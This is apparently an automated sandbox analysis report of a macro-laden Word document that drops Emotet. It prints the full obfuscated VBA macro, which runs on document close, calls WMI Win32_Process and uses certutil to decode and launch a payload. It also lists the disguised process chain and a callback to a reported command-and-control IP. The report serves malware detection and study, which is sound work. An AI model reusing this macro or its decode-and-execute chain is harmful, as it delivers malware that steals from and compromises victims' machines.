Contains Word Document Stream:	True
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Code Page:	1252
Title:
Subject:
Author:	User
Keywords:
Comments:
Template:	Normal.dotm
Last Saved By:	kirin
Revion Number:	7
Total Edit Time:	1200
Create Time:	2020-05-10 00:31:00
Last Saved Time:	2020-10-28 04:44:00
Number of Pages:	2
Number of Words:	89482
Number of Characters:	510049
Creating Application:	Microsoft Office Word
Security:	0

Document Summary
Document Code Page:	1252
Number of Lines:	4250
Number of Paragraphs:	1196
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams with VBA

VBA File Name: ThisDocument.cls, Stream Size: 3696

General
Stream Path:	Macros/VBA/ThisDocument
VBA File Name:	ThisDocument.cls
Stream Size:	3696
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . { . . . . . . . . . . . . ' E . . . . . . . . . . . . . . . . . . . ( . . . . . 2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . S l e e p . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . .
Data Raw:	01 16 03 00 00 18 01 00 00 dc 06 00 00 fc 00 00 00 02 02 00 00 ff ff ff ff e3 06 00 00 7b 0b 00 00 00 00 00 00 01 00 00 00 f1 27 45 f5 00 00 ff ff a3 01 00 00 88 00 00 00 b6 00 ff ff 01 01 28 00 00 00 00 00 32 02 20 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 53 6c 65 65 70 00 00 00 ff ff ff ff 01 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
#Else
VB_Name
VB_Creatable
".pdf"):
SetTask(Task
VB_Exposed
Null,
Form_Close()
("doc"):
Formt,
VB_TemplateDerived
Function
(ByVal
String
Right(Range.Text,
String)
Form_Close
Long)
Long,
VB_Customizable
Task,
("xls"):
FileName:=STP
".xls
PtrSafe
Left(ActiveDocument.Paragraphs(One).Range.Text,
Declare
"ThisDocument"
SetTask
False
FileFormat:=wdFormatText
Attribute
Private
VB_PredeclaredId
Sleep
VB_GlobalNameSpace
VB_Base
".pdf,In")
Document_Close()

VBA Code

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
Private Declare PtrSafe Function Sleep Lib "Kernel32" (ByVal One As Long) As Long
#Else
Private Declare Function Sleep Lib "Kernel32" (ByVal One As Long) As Long
#End If
Private Ms13
Private One As String
Private Two As String
Private STP As String

Private Sub Document_Close()
    Form_Close
End Sub
Private Sub Form_Close()
    STP = Button_Click2(2, 16) + "Ksh1"
    Set Ms13 = CreateObject(Button_Click2(4, 22))
    One = Button_Click2(8, 16)
    Two = Button_Click2(6, 8)
    ActiveDocument.Range(Start:=0, End:=3561).Delete
    SaveAs3 ("xls"): SaveAs3 ("doc"):
    SetTask (One + " " + STP + ".xls " + STP + ".pdf"): Sleep 6000: SetTask (Two + " " + STP + ".pdf,In")
End Sub
Private Function Button_Click2(One As Long, Two As Long) As String
    Button_Click2 = Left(ActiveDocument.Paragraphs(One).Range.Text, Two)
End Function
Private Function Button_Click3(One As Long) As String
     Button_Click3 = Right(Range.Text, One)
End Function
Private Function SaveAs3(Formt As String)
    ActiveDocument.SaveAs2 FileName:=STP + "." + Formt, FileFormat:=wdFormatText
End Function
Private Function SetTask(Task As String)
    Ms13.create Task, Null, Null, act
End Function

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
File Type:	data
Stream Size:	114
Entropy:	4.2359563651
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . F . . . M i c r o s o f t W o r d 9 7 - 2 0 0 3 D o c u m e n t . . . . . M S W o r d D o c . . . . . W o r d . D o c u m e n t . 8 . . 9 . q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 20 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 57 6f 72 64 20 39 37 2d 32 30 30 33 20 44 6f 63 75 6d 65 6e 74 00 0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.25569624217
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . h . . . . . . . p . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ? ! . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 e8 00 00 00 0c 00 00 00 01 00 00 00 68 00 00 00 0f 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00 00 00 8c 00 00 00 17 00 00 00 94 00 00 00 0b 00 00 00 9c 00 00 00 10 00 00 00 a4 00 00 00 13 00 00 00 ac 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.473780805052
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . l . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . . . 4 . . . . . . . @ . . . . . . . L . . . . . . . T . . . . . . . \\ . . . . . . . d . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . U s e r . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 6c 01 00 00 11 00 00 00 01 00 00 00 90 00 00 00 02 00 00 00 98 00 00 00 03 00 00 00 a4 00 00 00 04 00 00 00 b0 00 00 00 05 00 00 00 c0 00 00 00 06 00 00 00 cc 00 00 00 07 00 00 00 d8 00 00 00 08 00 00 00 ec 00 00 00 09 00 00 00 fc 00 00 00

Stream Path: 1Table, File Type: data, Stream Size: 7386

General
Stream Path:	1Table
File Type:	data
Stream Size:	7386
Entropy:	5.92077573609
Base64 Encoded:	True
Data ASCII:	. . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . > . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . .
Data Raw:	1e 06 0f 00 12 00 01 00 78 01 0f 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00

Stream Path: Data, File Type: data, Stream Size: 187989

General
Stream Path:	Data
File Type:	data
Stream Size:	187989
Entropy:	7.97862280177
Base64 Encoded:	True
Data ASCII:	U . . . D . d . . . . . . . . . . . . . . . . . . . . . . 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . N . . . . . . . . . . . . . . . . . . . C . . . * . . . . A . . . . . . . . . . . . . . . . . . . . . . t . e . m . p . l . a . t . e . . . . . . . . . . . . . . . b . . . . . . . . . . . . b r . . . . 7 . a . _ . . . . . . . . . . . . D . . . . . . . . n . . . . . . . . . b r . . . . 7 . a . _ . . . . P N G . . . . . . . . I H D R . . . O . . . . . . . . . 3 0 . u
Data Raw:	55 de 02 00 44 00 64 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 a3 31 e3 1d c3 03 c3 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 04 f0 4e 00 00 00 b2 04 0a f0 08 00 00 00 01 04 00 00 00 0a 00 00 43 00 0b f0 2a 00 00 00 04 41 01 00 00 00 05 c1 12 00 00 00 06 01 02 00 00 00 ff 01 00 00 08 00 74 00 65 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 367

General
Stream Path:	Macros/PROJECT
File Type:	ASCII text, with CRLF line terminators
Stream Size:	367
Entropy:	5.29037636248
Base64 Encoded:	True
Data ASCII:	I D = " { D 4 7 2 8 3 5 A - 3 8 9 1 - 4 D B 9 - 8 6 F 0 - 0 C 1 2 4 A F F D 6 E 1 } " . . D o c u m e n t = T h i s D o c u m e n t / & H 0 0 0 0 0 0 0 0 . . N a m e = " P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 0 8 0 A E 9 E F E D E F E D E F E D E F E D " . . D P B = " 9 6 9 4 7 7 F B 8 B 0 7 1 8 0 8 1 8 0 8 1 8 " . . G C = " 2 4 2 6 C 5 8 9 D D 1 6 D E 1 6 D E E 9 " . . . . [ H o s t E x t e n d e r I n f o ]
Data Raw:	49 44 3d 22 7b 44 34 37 32 38 33 35 41 2d 33 38 39 31 2d 34 44 42 39 2d 38 36 46 30 2d 30 43 31 32 34 41 46 46 44 36 45 31 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 44 6f 63 75 6d 65 6e 74 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4e 61 6d 65 3d 22 50 72 6f 6a 65 63 74 22 0d 0a 48 65 6c 70 43 6f 6e 74 65 78 74 49 44 3d 22 30 22 0d 0a 56 65 72 73 69 6f 6e 43 6f 6d 70 61 74 69

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 41

General
Stream Path:	Macros/PROJECTwm
File Type:	data
Stream Size:	41
Entropy:	3.07738448508
Base64 Encoded:	False
Data ASCII:	T h i s D o c u m e n t . T . h . i . s . D . o . c . u . m . e . n . t . . . . .
Data Raw:	54 68 69 73 44 6f 63 75 6d 65 6e 74 00 54 00 68 00 69 00 73 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 00 00 00 00

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2845

General
Stream Path:	Macros/VBA/_VBA_PROJECT
File Type:	data
Stream Size:	2845
Entropy:	4.32828178006
Base64 Encoded:	False
Data ASCII:	. a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 .
Data Raw:	cc 61 b2 00 00 03 00 ff 09 04 00 00 09 04 00 00 e4 04 03 00 00 00 00 00 00 00 00 00 01 00 05 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00

Stream Path: Macros/VBA/dir, File Type: data, Stream Size: 513

General
Stream Path:	Macros/VBA/dir
File Type:	data
Stream Size:	513
Entropy:	6.25624133358
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . 0 * . . . . . p . . H . . . . . d . . . . . . . . P r o j e c t . Q . ( . . @ . . . . . = . . . . . l . . . . . . . . . Y { . ` . . . . J . < . . . . . r s t d . o l e > . . s . t . . d . o . l . e P . . . h . % ^ . . * . \\ G { 0 0 0 2 0 . 4 3 0 - . . . . C . . . . . . . 0 0 4 6 } # . 2 . 0 # 0 # C : . \\ W i n d o w s . \\ S y s t e m 3 . 2 \\ . e 2 . t l b . # O L E A u t . o m a t i o n . ` . . . . E N o r m a l . . E N . C r . m . a Q . F . . . . . . . * . \\ C . . . . . m . . .
Data Raw:	01 fd b1 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 07 00 1c 00 50 72 6f 6a 65 63 74 05 51 00 28 00 00 40 02 14 06 02 14 3d ad 02 0a 07 02 6c 01 14 08 06 12 09 02 12 80 59 7b a3 60 0a 00 0c 02 4a 12 3c 02 0a 16 00 01 72 73 74 64 10 6f 6c 65 3e 02 19 73 00 74 00 00 64 00 6f 00 6c 00 65 50 00 0d 00 68 00 25 5e 00 03 2a 00 5c 47 7b 30 30

Stream Path: WordDocument, File Type: data, Stream Size: 627764

General
Stream Path:	WordDocument
File Type:	data
Stream Size:	627764
Entropy:	6.04018774642
Base64 Encoded:	False
Data ASCII:	. . . . { . . . . . . . . . . . . . . . . . . . . . . . . - . . . . b j b j . . . . . . . . . . . . . . . . . . . . . . . . . . 4 . . . . . . f . . . f . % . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . F . . . . . . . F . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	ec a5 c1 00 7b 00 09 04 00 00 f8 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 eb 2d 09 00 0e 00 62 6a 62 6a 84 bd 84 bd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 04 16 00 34 94 09 00 e6 d7 d5 66 e6 d7 d5 66 eb 25 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/14/21-04:02:18.387074	TCP	2404310	ET CNC Feodo Tracker Reported CnC Server TCP group 6	49170	80	192.168.2.22	177.130.51.198
01/14/21-04:02:20.339180	ICMP	449	ICMP Time-To-Live Exceeded in Transit			177.130.48.10	192.168.2.22
01/14/21-04:02:23.401000	ICMP	449	ICMP Time-To-Live Exceeded in Transit			177.130.48.10	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2021 04:02:18.387073994 CET	49170	80	192.168.2.22	177.130.51.198
Jan 14, 2021 04:02:21.448874950 CET	49170	80	192.168.2.22	177.130.51.198

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: WINWORD.EXE PID: 2264 Parent PID: 584

General

Start time:	04:00:33
Start date:	14/01/2021
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Imagebase:	0x13fe60000
File size:	1424032 bytes
MD5 hash:	95C38D04597050285A18F66039EDB456
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: certutil.exe PID: 2440 Parent PID: 1220

General

Start time:	04:01:43
Start date:	14/01/2021
Path:	C:\Windows\System32\certutil.exe
Wow64 process (32bit):	false
Commandline:	Certutil -decode C:\Users\Public\Ksh1.xls C:\Users\Public\Ksh1.pdf
Imagebase:	0xff9a0000
File size:	1192448 bytes
MD5 hash:	4586B77B18FA9A8518AF76CA8FD247D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: svchost.exe PID: 2348 Parent PID: 428

General

Start time:	04:01:45
Start date:	14/01/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0xff0e0000
File size:	27136 bytes
MD5 hash:	C78655BC80301D76ED4FEF1C1EA40A7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: tmp_e473b4.exe PID: 1772 Parent PID: 3052

General

Start time:	04:01:57
Start date:	14/01/2021
Path:	C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp/tmp_e473b4.exe
Imagebase:	0x400000
File size:	344110 bytes
MD5 hash:	E87553AEBAC0BF74D165A87321C629BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000007.00000002.2256698017.00000000003F1000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000007.00000003.2252976219.0000000000588000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000007.00000002.2256830860.0000000000586000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: auditpolmsg.exe PID: 1688 Parent PID: 1772

General

Start time:	04:01:59
Start date:	14/01/2021
Path:	C:\Windows\SysWOW64\srclient\auditpolmsg.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\srclient\auditpolmsg.exe
Imagebase:	0x400000
File size:	344110 bytes
MD5 hash:	E87553AEBAC0BF74D165A87321C629BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000008.00000003.2257551859.00000000005F8000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000008.00000002.2263042599.00000000005F6000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000008.00000002.2262078055.0000000000361000.00000020.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: wcnwiz.exe PID: 2064 Parent PID: 1688

General

Start time:	04:02:01
Start date:	14/01/2021
Path:	C:\Windows\SysWOW64\mfc110\wcnwiz.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\mfc110\wcnwiz.exe
Imagebase:	0x400000
File size:	344110 bytes
MD5 hash:	E87553AEBAC0BF74D165A87321C629BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000009.00000003.2262096055.0000000000548000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000009.00000002.2265953499.0000000000546000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000009.00000002.2265821061.00000000003B1000.00000020.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: SampleRes.exe PID: 2004 Parent PID: 2064

General

Start time:	04:02:04
Start date:	14/01/2021
Path:	C:\Windows\SysWOW64\capiprovider\SampleRes.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\capiprovider\SampleRes.exe
Imagebase:	0x400000
File size:	344110 bytes
MD5 hash:	E87553AEBAC0BF74D165A87321C629BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 0000000A.00000003.2266631097.0000000000578000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 0000000A.00000002.2271093826.0000000000576000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 0000000A.00000002.2271279815.00000000007B1000.00000020.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: NlsData0414.exe PID: 2364 Parent PID: 2004

General

Start time:	04:02:06
Start date:	14/01/2021
Path:	C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe
Imagebase:	0x400000
File size:	344110 bytes
MD5 hash:	E87553AEBAC0BF74D165A87321C629BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 0000000B.00000002.2275531038.00000000002B1000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 0000000B.00000002.2276502729.00000000005E6000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 0000000B.00000003.2271289978.00000000005E8000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: mfc140.exe PID: 1664 Parent PID: 2364

General

Start time:	04:02:08
Start date:	14/01/2021
Path:	C:\Windows\SysWOW64\KBDNO\mfc140.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\KBDNO\mfc140.exe
Imagebase:	0x400000
File size:	344110 bytes
MD5 hash:	E87553AEBAC0BF74D165A87321C629BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 0000000C.00000002.2279698396.00000000003E1000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 0000000C.00000003.2276010487.00000000005F8000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 0000000C.00000002.2280282398.00000000005F6000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: ieframe.exe PID: 1236 Parent PID: 1664

General

Start time:	04:02:10
Start date:	14/01/2021
Path:	C:\Windows\SysWOW64\advapi32\ieframe.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\advapi32\ieframe.exe
Imagebase:	0x400000
File size:	344110 bytes
MD5 hash:	E87553AEBAC0BF74D165A87321C629BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 0000000D.00000002.2285331820.00000000008E4000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 0000000D.00000003.2280766001.0000000000928000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 0000000D.00000002.2285132994.0000000000321000.00000020.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: cryptdll.exe PID: 2728 Parent PID: 1236

General

Start time:	04:02:13
Start date:	14/01/2021
Path:	C:\Windows\SysWOW64\nshipsec\cryptdll.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\nshipsec\cryptdll.exe
Imagebase:	0x400000
File size:	344110 bytes
MD5 hash:	E87553AEBAC0BF74D165A87321C629BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 0000000E.00000002.2292365132.00000000008C4000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 0000000E.00000003.2286180989.0000000000908000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 0000000E.00000002.2292162710.0000000000621000.00000020.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: wlanui.exe PID: 2832 Parent PID: 2728

General

Start time:	04:02:15
Start date:	14/01/2021
Path:	C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe
Imagebase:	0x400000
File size:	344110 bytes
MD5 hash:	E87553AEBAC0BF74D165A87321C629BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 0000000F.00000002.2335114479.00000000002B4000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 0000000F.00000003.2292126114.00000000002F8000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

VBA Code

Call Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: ThisDocument

Declaration

Line	Content
1	Attribute VB_Name = "ThisDocument"
2	Attribute VB_Base = "1Normal.ThisDocument"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = True
8	Attribute VB_Customizable = True
9	#if VBA7 then
10	Private Declare PtrSafe Function Sleep Lib "Kernel32" (ByVal One as Long) as Long
11	#else
12	Private Declare Function Sleep Lib "Kernel32" (ByVal One as Long) as Long
13	#endif
14	Private Ms13
15	Private One as String
16	Private Two as String
17	Private STP as String

Executed Functions

Subroutine Form_Close, APIs: 19, Strings: 2, Number of lines: 12, Relevance: 48.012

APIs	Meta Information
Part of subcall function Button_Click2@ThisDocument: Left
Part of subcall function Button_Click2@ThisDocument: Paragraphs
CreateObject	CreateObject("winmgmts:Win32_Process")
Part of subcall function Button_Click2@ThisDocument: Left
Part of subcall function Button_Click2@ThisDocument: Paragraphs
Part of subcall function Button_Click2@ThisDocument: Left
Part of subcall function Button_Click2@ThisDocument: Paragraphs
Part of subcall function Button_Click2@ThisDocument: Left
Part of subcall function Button_Click2@ThisDocument: Paragraphs
Delete
Part of subcall function SaveAs3@ThisDocument: SaveAs2
Part of subcall function SaveAs3@ThisDocument: wdFormatText
Part of subcall function SaveAs3@ThisDocument: SaveAs2
Part of subcall function SaveAs3@ThisDocument: wdFormatText
Part of subcall function SetTask@ThisDocument: create
Part of subcall function SetTask@ThisDocument: act
Kernel32!Sleep	Kernel32!Sleep(6000)
Part of subcall function SetTask@ThisDocument: create
Part of subcall function SetTask@ThisDocument: act

Strings	Decrypted Strings
"xls"
"doc"

Line	Instruction	Meta Information
22	Private Sub Form_Close()
23	STP = Button_Click2(2, 16) + "Ksh1"	executed
24	Set Ms13 = CreateObject(Button_Click2(4, 22))	CreateObject("winmgmts:Win32_Process") executed
25	One = Button_Click2(8, 16)
26	Two = Button_Click2(6, 8)
27	ActiveDocument.Range(Start := 0, End := 3561).Delete	Delete
28	SaveAs3 ("xls")
28	SaveAs3 ("doc")
29	SetTask (One + " " + STP + ".xls " + STP + ".pdf")
29	Sleep 6000	Kernel32!Sleep(6000) executed
